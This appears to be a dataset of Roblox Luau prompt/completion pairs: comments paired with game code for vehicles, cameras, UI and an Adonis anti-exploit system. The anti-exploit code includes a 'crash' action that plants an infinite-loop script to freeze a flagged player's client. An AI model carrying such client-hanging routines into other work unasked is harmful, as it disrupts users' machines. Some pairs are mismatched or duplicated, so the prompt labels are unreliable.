prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- services
local ReplicatedStorage = game:GetService("ReplicatedStorage") local TweenService = game:GetService("TweenService") local Players = game:GetService("Players")
--- Fire
Signal.Fire = function(eventName, ...) --- Variables eventName = string.lower(eventName) --- Get/create event local event = GetEvent(eventName) --- Signal for visualization/tracking purposes on Debug (Client only) META AF BTW if (not isServer) and eventName ~= "core signal fired" then Signal.Fire("CORE Signal Fired", eventName) end --- Fire event w/ data event:Fire(...) end
-- / Setting / --
local Settings = { Scale = 2 }
--don't go after the left side if the opponent is hugging the wall --don't spam hit while not in range (gives opportunity for enemy to attack while lunge is down) --make it go closer when the opponent's attack is on cooldown --realize that once it's being attacked, if the opponent is plays optimally it can't dodge so try maneuvers while attacking --make it not attempt to back off when it's already being hit --back off when lunging Almost over and down
--[=[ Invokes the function once at renderstepped, unless the cancel callback is called. @param func function -- Function to call @return function -- Call this function to cancel call ]=]
function StepUtils.onceAtRenderStepped(func) return StepUtils.onceAtEvent(RunService.RenderStepped, func) end
-- Functions
function SPRING.new(self, mass, force, damping, speed) local spring = { Target = Vector3.new(); Position = Vector3.new(); Velocity = Vector3.new(); Mass = mass or 5; Force = force or 50; Damping = damping or 4; Speed = speed or 4; } function spring.getstats(self) return self.Mass, self.Force, self.Damping, self.Speed end function spring.changestats(self, mass, force, damping, speed) self.Mass = mass or self.Mass self.Force = force or self.Force self.Damping = damping or self.Damping self.Speed = speed or self.Speed end function spring.shove(self, force) local x, y, z = force.X, force.Y, force.Z if x ~= x or x == math.huge or x == -math.huge then x = 0 end if y ~= y or y == math.huge or y == -math.huge then y = 0 end if z ~= z or z == math.huge or z == -math.huge then z = 0 end self.Velocity = self.Velocity + Vector3.new(x, y, z) end function spring.update(self, dt) local scaledDeltaTime = dt * self.Speed / ITERATIONS for i = 1, ITERATIONS do local iterationForce= self.Target - self.Position local acceleration = (iterationForce * self.Force) / self.Mass acceleration = acceleration - self.Velocity * self.Damping self.Velocity = self.Velocity + acceleration * scaledDeltaTime self.Position = self.Position + self.Velocity * scaledDeltaTime end return self.Position end return spring end
--[[ END OF SERVICES ]]
local LocalPlayer = PlayersService.LocalPlayer while LocalPlayer == nil do PlayersService.ChildAdded:wait() LocalPlayer = PlayersService.LocalPlayer end local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")
-----------------------------------
elseif script.Parent.Parent.Parent.TrafficControl.Value == ">" then script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.B.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.C.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.D.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.E.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.F.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey") wait(0.2) script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.C.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.D.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.E.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.F.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey") wait(0.2) script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.C.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.D.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.E.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.F.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey") wait(0.2) script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.C.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.D.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.E.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.F.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey") wait(0.2) script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.C.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.D.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.E.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.F.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey") wait(0.2) script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.C.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.D.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.E.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.F.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey") wait(0.2) script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.C.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.D.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.E.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.F.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.G.BrickColor = BrickColor.new("New Yeller") wait(0.2) script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.C.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.D.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.E.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.F.BrickColor = BrickColor.new("New Yeller") script.Parent.Parent.G.BrickColor = BrickColor.new("New Yeller") wait(0.2) script.Parent.Parent.A.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.B.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.C.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.D.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.E.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.F.BrickColor = BrickColor.new("Medium stone grey") script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey") wait(0.2)
--[[Weight and CG]]
Tune.Weight = 2300 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .5 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--[=[ Stops all motors on the gamepad. ```lua gamepad:SetMotor(Enum.VibrationMotor.Large, 1) gamepad:SetMotor(Enum.VibrationMotor.Small, 1) task.wait(0.1) gamepad:StopMotors() ``` ]=]
function Gamepad:StopMotors() for _,motor in ipairs(Enum.VibrationMotor:GetEnumItems()) do if self:IsMotorSupported(motor) then self:StopMotor(motor) end end end
-- Fire with whitelist
function FastCast:FireWithWhitelist(origin, directionWithMagnitude, velocity, whitelist, cosmeticBulletObject, ignoreWater, bulletAcceleration, tool, clientModule, miscs, replicate, penetrationData) assert(getmetatable(self) == FastCast, ERR_NOT_INSTANCE:format("FireWithWhitelist", "FastCast.new()")) BaseFireMethod(self, origin, directionWithMagnitude, velocity, cosmeticBulletObject, nil, ignoreWater, bulletAcceleration, tool, clientModule, miscs, replicate, whitelist, true, penetrationData) end
-- Color Changing Script ~ Rainbow!
while true do script.Parent.Color = Color3.fromRGB(255, 0, 0) wait(1) script.Parent.Color = Color3.fromRGB(255, 149, 0) wait(1) script.Parent.Color = Color3.fromRGB(255, 247, 0) wait(1) script.Parent.Color = Color3.fromRGB(4, 255, 0) wait(1) script.Parent.Color = Color3.fromRGB(0, 255, 255) wait(1) script.Parent.Color = Color3.fromRGB(8, 0, 255) wait(1) script.Parent.Color = Color3.fromRGB(226, 0, 255) wait(1) end
--easter egg
mouse.KeyDown:connect(function(key) if key=="u" and script.Blown.Value == false then Heat = Heat+1 end end) if not FE then radiator.Oil.Enabled = false radiator.Antifreeze.Enabled = false radiator.Liquid.Volume = 0 radiator.Fan:Play() radiator.Fan.Pitch = 1+FanSpeed radiator.Steam:Play() radiator.Liquid:Play() script.Blown.Value = false while wait(.2) do if Heat > FanTemp and Fan == true then FanCool = -FanSpeed radiator.Fan.Volume = FanVolume elseif Heat < FanTempAlpha then FanCool = 0 radiator.Fan.Volume = 0 end Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency Heat = math.max(RunningTemp,(Heat+Load)+FanCool) if Heat >= BlowupTemp then Heat = BlowupTemp radiator.Break:Play() radiator.Liquid.Volume = .5 radiator.Oil.Enabled = true radiator.Antifreeze.Enabled = true script.Parent.Parent.IsOn.Value = false script.Blown.Value = true elseif Heat >= BlowupTemp-10 then radiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1) radiator.Smoke.Enabled = true radiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10) else radiator.Smoke.Enabled = false radiator.Steam.Volume = 0 end script.Celsius.Value = Heat script.Parent.Temp.Text = math.floor(Heat).."°c" script.Parent.Temp.TextColor3 = Color3.fromRGB(255,255-((Heat-FanTemp)*10),255-((Heat-FanTemp)*10)) end else handler:FireServer("Initialize",FanSpeed) while wait(.2) do if Heat > FanTemp and Fan == true then FanCool = -FanSpeed handler:FireServer("FanVolume",FanVolume) else FanCool = 0 handler:FireServer("FanVolume",0) end Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency Heat = math.max(RunningTemp,(Heat+Load)+FanCool) if Heat >= BlowupTemp then Heat = BlowupTemp handler:FireServer("Blown") script.Parent.Parent.IsOn.Value = false script.Blown.Value = true elseif Heat >= BlowupTemp-10 then handler:FireServer("Smoke",true,BlowupTemp,Heat) else handler:FireServer("Smoke",false,BlowupTemp,Heat) end script.Celsius.Value = Heat script.Parent.Temp.Text = math.floor(Heat).."°c" end end
-- Camera mod
local Camera = require(cameraModule) local lastUpCFrame = IDENTITYCF Camera.UpVector = Vector3.new(0, 1, 0) Camera.TransitionRate = 0.15 Camera.UpCFrame = IDENTITYCF Camera.SpinPart = TERRAIN Camera.LastSpinPart = TERRAIN Camera.LastSpinCFrame = TERRAIN.CFrame Camera.SpinCFrame = IDENTITYCF function Camera:GetUpVector(oldUpVector) return oldUpVector end function Camera:CalculateUpCFrame() local oldUpVector = self.UpVector local newUpVector = self:GetUpVector(oldUpVector) local backup = game.Workspace.CurrentCamera.CFrame.RightVector local transitionCF = getRotationBetween(oldUpVector, newUpVector, backup) local vecSlerpCF = IDENTITYCF:Lerp(transitionCF, self.TransitionRate) self.UpVector = vecSlerpCF * oldUpVector self.UpCFrame = vecSlerpCF * self.UpCFrame lastUpCFrame = self.UpCFrame end function Camera:SetSpinPart(part) self.SpinPart = part end function Camera:CalculateSpinCFrame() local delta = 0 local part = self.SpinPart if (part == self.LastSpinPart) then local lastCF = self.LastSpinCFrame local rotation = part.CFrame - part.CFrame.p local prevRotation = lastCF - lastCF.p local direction = rotation:VectorToObjectSpace(self.UpVector) delta = twistAngle(prevRotation:ToObjectSpace(rotation), direction) end self.SpinCFrame = CFrame.fromEulerAnglesYXZ(0, delta, 0) self.LastSpinPart = part self.LastSpinCFrame = part.CFrame end function Camera:Update(dt) if self.activeCameraController then if Camera.FFlagUserCameraToggle then self.activeCameraController:UpdateMouseBehavior() end local newCameraCFrame, newCameraFocus = self.activeCameraController:Update(dt) self.activeCameraController:ApplyVRTransform() self:CalculateUpCFrame() self:CalculateSpinCFrame() self.activeCameraController:UpdateUpCFrame(self.UpCFrame) -- undo shift-lock offset local lockOffset = Vector3.new(0, 0, 0) if (self.activeMouseLockController and self.activeMouseLockController:GetIsMouseLocked()) then lockOffset = self.activeMouseLockController:GetMouseLockOffset() end local offset = newCameraFocus:ToObjectSpace(newCameraCFrame) local camRotation = self.UpCFrame * self.SpinCFrame * offset newCameraFocus = newCameraFocus - newCameraCFrame:VectorToWorldSpace(lockOffset) + camRotation:VectorToWorldSpace(lockOffset) newCameraCFrame = newCameraFocus * camRotation --local offset = newCameraFocus:Inverse() * newCameraCFrame --newCameraCFrame = newCameraFocus * self.UpCFrame * offset if (self.activeCameraController.lastCameraTransform) then self.activeCameraController.lastCameraTransform = newCameraCFrame self.activeCameraController.lastCameraFocus = newCameraFocus end if self.activeOcclusionModule then newCameraCFrame, newCameraFocus = self.activeOcclusionModule:Update(dt, newCameraCFrame, newCameraFocus) end game.Workspace.CurrentCamera.CFrame = newCameraCFrame game.Workspace.CurrentCamera.Focus = newCameraFocus if self.activeTransparencyController then self.activeTransparencyController:Update() end end end function Camera:IsFirstPerson() if self.activeCameraController then return self.activeCameraController:InFirstPerson() end return false end function Camera:IsMouseLocked() if self.activeCameraController then return self.activeCameraController:GetIsMouseLocked() end return false end function Camera:IsToggleMode() if self.activeCameraController then return self.activeCameraController.isCameraToggle end return false end function Camera:IsCamRelative() return self:IsMouseLocked() or self:IsFirstPerson() --return self:IsToggleMode(), self:IsMouseLocked(), self:IsFirstPerson() end
-- BEHAVIOUR --Controller support
coroutine.wrap(function() -- Create PC 'Enter Controller Mode' Icon runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion local Icon = require(script.Parent) local controllerOptionIcon = Icon.new() :setName("_TopbarControllerOption") :setOrder(100) :setImage("rbxassetid://5278150942") :setRight() :setEnabled(false) :setTip("Controller mode") controllerOptionIcon.deselectWhenOtherIconSelected = false -- This decides what controller widgets and displays to show based upon their connected inputs -- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle -- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode local function determineDisplay() local mouseEnabled = userInputService.MouseEnabled local controllerEnabled = userInputService.GamepadEnabled local iconIsSelected = controllerOptionIcon.isSelected if mouseEnabled and controllerEnabled then -- Show icon controllerOptionIcon:setEnabled(true) elseif mouseEnabled and not controllerEnabled then -- Hide icon, disableControllerMode controllerOptionIcon:setEnabled(false) IconController._enableControllerMode(false) controllerOptionIcon:deselect() elseif not mouseEnabled and controllerEnabled then -- Hide icon, _enableControllerMode controllerOptionIcon:setEnabled(false) IconController._enableControllerMode(true) end end userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(determineDisplay) userInputService.GamepadConnected:Connect(determineDisplay) userInputService.GamepadDisconnected:Connect(determineDisplay) determineDisplay() -- Enable/Disable Controller Mode when icon clicked local function iconClicked() local isSelected = controllerOptionIcon.isSelected local iconTip = (isSelected and "Normal mode") or "Controller mode" controllerOptionIcon:setTip(iconTip) IconController._enableControllerMode(isSelected) end controllerOptionIcon.selected:Connect(iconClicked) controllerOptionIcon.deselected:Connect(iconClicked) -- Hide/show topbar when indicator action selected in controller mode userInputService.InputBegan:Connect(function(input,gpe) if not IconController.controllerModeEnabled then return end if input.KeyCode == Enum.KeyCode.DPadDown then if not guiService.SelectedObject and checkTopbarEnabledAccountingForMimic() then IconController.setTopbarEnabled(true,false) end elseif input.KeyCode == Enum.KeyCode.ButtonB then IconController._previousSelectedObject = guiService.SelectedObject IconController._setControllerSelectedObject(nil) IconController.setTopbarEnabled(false,false) end input:Destroy() end) -- Setup overflow icons for alignment, detail in pairs(alignmentDetails) do if alignment ~= "mid" then local overflowName = "_overflowIcon-"..alignment local overflowIcon = Icon.new() :setImage(6069276526) :setName(overflowName) :setEnabled(false) detail.overflowIcon = overflowIcon overflowIcon.accountForWhenDisabled = true if alignment == "left" then overflowIcon:setOrder(math.huge) overflowIcon:setLeft() overflowIcon:set("dropdownAlignment", "right") elseif alignment == "right" then overflowIcon:setOrder(-math.huge) overflowIcon:setRight() overflowIcon:set("dropdownAlignment", "left") end overflowIcon.lockedSettings = { ["iconImage"] = true, ["order"] = true, ["alignment"] = true, } end end end)()
--[[Engine]]
--Torque Curve Tune.Horsepower = 278 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--[[Weight and CG]]
Tune.Weight = 5000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6.8 , --[[Height]] 6.2 , --[[Length]] 16 } Tune.WeightDist = 51 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .35 -- Front Wheel Density Tune.RWheelDensity = .35 -- Rear Wheel Density Tune.FWLgcyDensity = 3.5 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 3.5 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight) Tune.AxleDensity = .1 -- Density of structural members --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--get member data associated with a roblox entity
local PublicMembers = {} local Data = {} script.SyncMember.OnClientEvent:connect(function(object,memberName,value) if not Data[object] then Data[object] = {} end Data[object][memberName] = value script.PublicMemberChanged:Fire(object,memberName,value) end) function PublicMembers:GetMemberValue(object,memberName) if Data[object] then return Data[object][memberName] end end return PublicMembers
--// Anti-Exploit
return function(Vargs) local server = Vargs.Server; local service = Vargs.Service; local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings local function Init() Functions = server.Functions; Admin = server.Admin; Anti = server.Anti; Core = server.Core; HTTP = server.HTTP; Logs = server.Logs; Remote = server.Remote; Process = server.Process; Variables = server.Variables; Settings = server.Settings; Logs:AddLog("Script", "AntiExploit Module Initialized") end; server.Anti = { Init = Init; SpoofCheckCache = {}; RemovePlayer = function(p, info) info = info or "No Reason Given" pcall(function() service.UnWrap(p):Kick(tostring(info)) end) --pcall(function() Remote.Send(p,"Function","Kill") end) wait(1) pcall(p.Destroy, p) pcall(service.Delete, p) Logs.AddLog("Script",{ Text = "Server removed "..tostring(p); Desc = tostring(info); }) end; UserSpoofCheck = function(p) --// Supplied by BetterAccount if not service.RunService:IsStudio() then local userService = service.UserService; local success,err = pcall(function() local userInfo = Anti.SpoofCheckCache[p.UserId] or userService:GetUserInfosByUserIdsAsync({p.UserId}) local data = userInfo and userInfo[1]; Anti.SpoofCheckCache[p.UserId] = userInfo; if data and data.Id == p.UserId then if p.Name ~= data.Username or p.DisplayName ~= data.DisplayName then return true end else for i,user in next,userInfo do if user.Id == p.UserId then if p.Name ~= user.Username or p.DisplayName ~= user.DisplayName then return true end end end end end) if not success then warn("Failed to check validity of player's name, reason: ".. tostring(err)) end end end; Sanitize = function(obj, classList) if Anti.RLocked(obj) then pcall(service.Delete, obj) else for i,child in next,obj:GetChildren() do if Anti.RLocked(child) or Functions.IsClass(child, classList) then pcall(service.Delete, child) else pcall(Anti.Sanitize, child, classList) end end end end; isFake = function(p) if Anti.ObjRLocked(p) or not p:IsA("Player") then return true,1 else local players = service.Players:GetChildren() local found = 0 if service.NetworkServer then local net = false for i,v in pairs(service.NetworkServer:GetChildren()) do if v:IsA("NetworkReplicator") and v:GetPlayer() == p then net = true end end if not net then return true,1 end end for i,v in pairs(players) do if tostring(v) == tostring(p) then found = found+1 end end if found>1 then return true,found else return false end end end; RemoveIfFake = function(p) local isFake local ran,err = pcall(function() isFake = Anti.isFake(p) end) if isFake or not ran then Anti.RemovePlayer(p) end end; FindFakePlayers = function() for i,v in pairs(service.Players:GetChildren()) do if Anti.isFake(v) then Anti.RemovePlayer(v, "Fake") end end end; GetClassName = function(obj) local testName = tostring(math.random()..math.random()) local ran,err = pcall(function() local test = obj[testName] end) if err then local class = err:match(testName.." is not a valid member of (.*)") if class then return class end end end; RLocked = function(obj) return not pcall(function() return obj.GetFullName(obj) end) --[[local ran,err = pcall(function() service.New("StringValue", obj):Destroy() end) if ran then return false else return true end--]] end; ObjRLocked = function(obj) return not pcall(function() return obj.GetFullName(obj) end) --[[local ran,err = pcall(function() obj.Parent = obj.Parent end) if ran then return false else return true end--]] end; AssignName = function() local name = math.random(100000,999999) return name end; Detected = function(player,action,info) local info = string.gsub(tostring(info), "\n", "") if Core.DebugMode or service.RunService:IsStudio() then warn("ANTI-EXPLOIT: "..player.Name.." "..action.." "..info) elseif service.NetworkServer then if player then if action:lower() == 'log' then -- yay? elseif action:lower() == 'kick' then Anti.RemovePlayer(player, info) --player:Kick("Adonis; Disconnected by server; \n"..tostring(info)) elseif action:lower() == 'kill' then player.Character:BreakJoints() elseif action:lower() == 'crash' then Remote.Send(player,'Function','Kill') wait(5) pcall(function() local scr = Core.NewScript("LocalScript",[[while true do end]]) scr.Parent = player.Backpack scr.Disabled = false end) Anti.RemovePlayer(player, info) else -- fake log (thonk?) Anti.Detected(player, "Kick", "Spoofed log") return; end end end Logs.AddLog(Logs.Script,{ Text = "AE Detected "..tostring(player); Desc = "The Anti-Exploit system detected strange activity from "..tostring(player); Player = player; }) Logs.AddLog(Logs.Exploit,{ Text = "[Action: "..tostring(action).." User: (".. tostring(player) ..")] ".. tostring(info:sub(1, 50)) .. " (Mouse over full info)"; Desc = tostring(info); Player = player; }) end; CheckNameID = function(p) if p.userId > 0 and p.userId ~= game.CreatorId and p.Character then local realId = service.Players:GetUserIdFromNameAsync(p.Name) or p.userId local realName = service.Players:GetNameFromUserIdAsync(p.userId) or p.Name if realName and realId then if (tonumber(realId) and realId~=p.userId) or (tostring(realName)~="nil" and realName~=p.Name) then Anti.Detected(p,'log','Name/UserId does not match') end Remote.Send(p,"LaunchAnti","NameId",{RealID = realId; RealName = realName}) end end end; }; end
-- reloading
GUI.MobileButtons.ReloadButton.MouseButton1Click:connect(function() Reload() end)
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over. GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly. GUI:Clone().Parent = player.PlayerGui --// Compact version script.Parent.Occupied.Value = true if script.Parent.L.Value == true then wait() script.Parent.Disabled = true wait() script.Parent.Disabled = false end end end end end) script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then game.Workspace.CurrentCamera.FieldOfView = 70 player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and player.PlayerGui:FindFirstChild("SS3") then player.PlayerGui:FindFirstChild("SS3"):Destroy() script.Parent.Occupied.Value = false end end end end)
-- function SliderClass.Create(axis) -- local slider = nil
--Tweens
local OpenTween = TweenService:Create(Hinge,OpenTweenInfo,{CFrame = OpenHinge.CFrame}) local CloseTween = TweenService:Create(Hinge,CloseTweenInfo,{CFrame = ClosedHinge.CFrame})
--[[Wheel Alignment]] --[Don't physically apply alignment to wheels] --[Values are in degrees]
Tune.FCamber = 1.5 Tune.RCamber = 1.5 Tune.FToe = 0 Tune.RToe = 0
-- Turns off body orientation. Developer-facing.
function BodyOrientation.disable() if not enabled then return end playerAddedConnection:Disconnect() playerRemovingConnection:Disconnect() for _, player in ipairs(Players:GetChildren()) do onPlayerRemoving(player) end enabled = false end return BodyOrientation
-- This stops all of the public Adonis bypasses. Though they would still be detected in time but it may be better to kick them before load??
do local game = game local task_spawn, xpcall, require, task_wait = task.spawn, xpcall, require, task.wait local Players = game:FindFirstChildWhichIsA("Players") or game:FindService("Players") local localPlayer = Players.LocalPlayer local triggered = false local function loadingDetected(reason) (localPlayer or Players.LocalPlayer):Kick(`:: Adonis Loader - Security ::\n{reason}`) while true do end end task_spawn(xpcall, function() local exampleService = game:GetService("Workspace") or game:GetService("ReplicatedStorage") local success, err = pcall(require, game) if not exampleService then task_spawn(xpcall, function() loadingDetected("Service not returning") end, function(err) loadingDetected(err) end) while true do end end if success or not string.match(err, "^Attempted to call require with invalid argument%(s%)%.$") then task_spawn(xpcall, function() loadingDetected(`Require load fail. {err}`) end, function(err) loadingDetected(err) end) while true do end end triggered = true end, function(err) task_spawn(loadingDetected, err) while true do end end) task_spawn(xpcall, function() task_wait() task_wait() if not triggered then task_spawn(xpcall, function() loadingDetected(`Loading detectors failed to load{triggered}`) end, function(err) loadingDetected(err) end) while true do end end end, function(err) task_spawn(loadingDetected, err) while true do end end) end local players = game:GetService("Players"); local player = players.LocalPlayer; local folder = script.Parent; local container = folder.Parent; local Kick = player.Kick; local module = folder:WaitForChild("Client"); local target = player; local realPrint = print; local realWarn = warn; local start = time(); local function print(...) --realPrint(...) end local function warn(str) if DebugMode or player.UserId == 1237666 then realWarn(`ACLI: {str}`) end end local function Kill(info) if DebugMode then warn(info) return end pcall(function() Kick(player, info) end) wait(1) pcall(function() while not DebugMode and wait() do pcall(function() while true do end end) end end) end local function Locked(obj) return (not obj and true) or not pcall(function() return obj.GetFullName(obj) end) end local function loadingTime() warn("LoadingTime Called") setfenv(1,{}) warn(tostring(time() - start)) end local function callCheck(child) warn(`CallCheck: {child}`) if Locked(child) then warn("Child locked?") Kill("ACLI: Locked") else warn("Child not locked") xpcall(function() return child[{}] end, function() if getfenv(1) ~= getfenv(2) then Kill("ACLI: Error") end end) end end local function doPcall(func, ...) local ran,ret = pcall(func, ...) if ran then return ran,ret else warn(tostring(ret)) Kill(`ACLI: Error\n{ret}`) return ran,ret end end if module and module:IsA("ModuleScript") then warn("Loading Folder...") local nameVal local origName local depsFolder local clientModule warn("Waiting for Client & Special") nameVal = folder:WaitForChild("Special", 30) warn("Checking Client & Special") --callCheck(nameVal) --callCheck(clientModule) warn("Getting origName") origName = (nameVal and nameVal.Value) or folder.Name warn(`Got name: {origName}`) warn("Removing old client folder...") local starterPlayer = game:GetService("StarterPlayer"); local playerScripts = starterPlayer:FindFirstChildOfClass("StarterPlayerScripts"); local found = playerScripts:FindFirstChild(folder.Name); warn(`FOUND?! {found}`); warn(`LOOKED FOR : {folder.Name}`) if found then print("REMOVED!") found.Parent = nil --found:Destroy(); end --// Sometimes we load a little too fast and generate a warning from Roblox so we need to introduce some (minor) artificial loading lag... warn("Changing child parent...") folder.Name = ""; wait(0.01); folder.Parent = nil; --// We cannot do this assynchronously or it will disconnect events that manage to connect before it changes parent to nil... warn("Destroying parent...") print("Debug: Loading the client?") local meta = require(module) warn(`Got metatable: {meta}`) if meta and type(meta) == "userdata" and tostring(meta) == "Adonis" then local ran,ret = pcall(meta,{ Module = module, Start = start, Loader = script, Name = origName, Folder = folder; LoadingTime = loadingTime, CallCheck = callCheck, Kill = Kill }) warn(`Got return: {ret}`) if ret ~= "SUCCESS" then realWarn(ret) Kill("ACLI: Loading Error [Bad Module Return]") else print("Debug: The client was found and loaded?") warn("Client Loaded") if container and container:IsA("ScreenGui") then container.Parent = nil --container:Destroy(); end end end end
-- constants
local PLAYER_DATA = ReplicatedStorage:WaitForChild("PlayerData") local PLAYER = Players.LocalPlayer
-- Updates metadata for one merch item, given its asset id
local function updateItemInfo(itemId: string, info: types.ItemInfo) return { itemId = itemId, info = info, } end return Rodux.makeActionCreator(script.Name, updateItemInfo)
--AI Booleans
local attackCool = true local chasing = false local pathFailCount = 0
-- script inside the NPC
